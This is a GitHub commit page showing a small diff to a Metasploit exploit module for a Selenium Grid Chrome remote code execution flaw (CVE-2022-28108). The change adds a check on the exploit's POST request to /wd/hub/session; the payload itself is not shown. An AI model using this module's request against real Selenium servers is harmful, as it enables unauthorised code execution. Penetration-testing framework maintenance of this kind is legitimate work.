Skip to content

Commit 6577a18

Browse files
committed
Add response check
1 parent 9f20c57 commit 6577a18

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -105,12 +105,13 @@ def exploit
105105
}
106106
}.to_json
107107

108-
send_request_cgi({
108+
res = send_request_cgi({
109109
'method' => 'POST',
110110
'uri' => normalize_uri(target_uri.path, 'wd/hub/session'),
111111
'headers' => { 'Content-Type' => 'text/plain' },
112112
'data' => body
113113
})
114+
fail_with(Failure::Unreachable, 'Connection failed') unless res
114115
end
115116

116117
end

0 commit comments

Comments
 (0)